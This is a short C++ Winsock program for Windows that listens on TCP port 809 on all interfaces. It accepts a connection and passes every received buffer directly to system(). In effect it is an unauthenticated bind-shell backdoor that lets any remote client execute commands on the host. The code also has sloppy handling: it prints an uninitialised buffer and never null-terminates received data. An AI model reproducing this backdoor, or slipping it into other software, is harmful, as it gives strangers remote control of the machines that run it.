#include <windows.h> //Required for socket init
#include <iostream>
using namespace std;
int main(){
char buf[256];
//string buf;
WSAData wsdata; //Declare WSAData
WORD wsver=MAKEWORD(2, 0); //We want Winsock 2.0
int nret=WSAStartup(wsver, &wsdata); //Pass version 2.0 and pointer to implement
if(nret != 0){ //Init failed
/*A successful return value should be 0 */
std::cout<<"Startup failed, error code: "<<WSAGetLastError(); //Returns error code
WSACleanup(); //Cleanup Winsock library
return -1;
}
std::cout<<"Init success\n";
SOCKET kSock=socket(AF_INET, SOCK_STREAM, 0);
if(kSock == INVALID_SOCKET){
std::cout<<"Socket init failed";
return -1;
}
std::cout<<"Socket initialized\n";
sockaddr_in sin;
sin.sin_port=htons(809);
sin.sin_addr.s_addr=INADDR_ANY;
sin.sin_family=AF_INET;
if(bind(kSock,(sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR){
std::cout<<"Failed to bind\n";
WSACleanup(); //Cleanup Winsock library
return -1;
}
std::cout<<"Bind successful!\n";
while (listen(kSock, SOMAXCONN) == SOCKET_ERROR); //Loop in order to constantly listen
/* set the number of connections to SOMAXCONN, in which case the provider chooses a reasonable value (5 in Windows XP
Professional) */
SOCKET client;
int len = sizeof(sin);
client=accept(kSock, (sockaddr*)&sin, &len);
std::cout<<"Connection established!\n";
bool wait = true;
int bitsent;
cout << buf << "\n";
while (wait == true) {
      bitsent = recv(client, buf, sizeof(buf), 0); //Receive from client
      cout << buf << "\n";
      if (bitsent > 0){
         system(buf);
         bitsent = 0;
      }
}
// closesocket(client); //Close both socket handles
// closesocket(kSock);
// WSACleanup();
return 0;
}